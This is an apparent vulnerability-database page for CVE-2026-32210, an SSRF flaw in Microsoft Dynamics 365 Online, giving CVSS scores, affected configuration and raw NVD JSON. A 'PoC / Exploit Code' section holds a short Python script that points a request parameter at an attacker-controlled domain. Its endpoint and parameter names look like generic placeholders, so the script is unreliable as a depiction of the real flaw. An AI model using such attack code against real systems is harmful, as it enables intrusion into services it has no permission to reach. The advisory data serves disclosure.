Security Vulnerability Report
中文
CVE-2026-32210 CVSS 9.3 CRITICAL

CVE-2026-32210

Published: 2026-04-23 22:16:35
Last Modified: 2026-05-05 14:10:30

Description

Server-side request forgery (ssrf) in Microsoft Dynamics 365 (Online) allows an unauthorized attacker to perform spoofing over a network.

CVSS Details

CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:dynamics_365:-:*:*:*:online:*:*:* - VULNERABLE
Microsoft Dynamics 365 (Online) (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: Microsoft Dynamics 365 (Online) SSRF PoC # Date: 2026-04-23 # Exploit Author: Analyst # Vendor Homepage: https://www.microsoft.com # Version: Microsoft Dynamics 365 (Online) # CVE: CVE-2026-32210 target_url = "https://target-dynamics-instance.crm.dynamics.com/api/data/v9.2/vulnerable_endpoint" # Attacker controlled server to receive the request attacker_server = "http://attacker-controlled-domain.com/capture" # Payload to trigger SSRF # This payload injects the attacker's URL into a parameter processed by the server payload = { "target_resource": attacker_server, "callback": "1" } try: # Sending the request response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check your server logs to see if the target made a request.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32210", "sourceIdentifier": "[email protected]", "published": "2026-04-23T22:16:35.260", "lastModified": "2026-05-05T14:10:29.540", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Server-side request forgery (ssrf) in Microsoft Dynamics 365 (Online) allows an unauthorized attacker to perform spoofing over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:dynamics_365:-:*:*:*:online:*:*:*", "matchCriteriaId": "0EED07FB-DDC6-4510-A321-834E7D4BB271"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32210", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}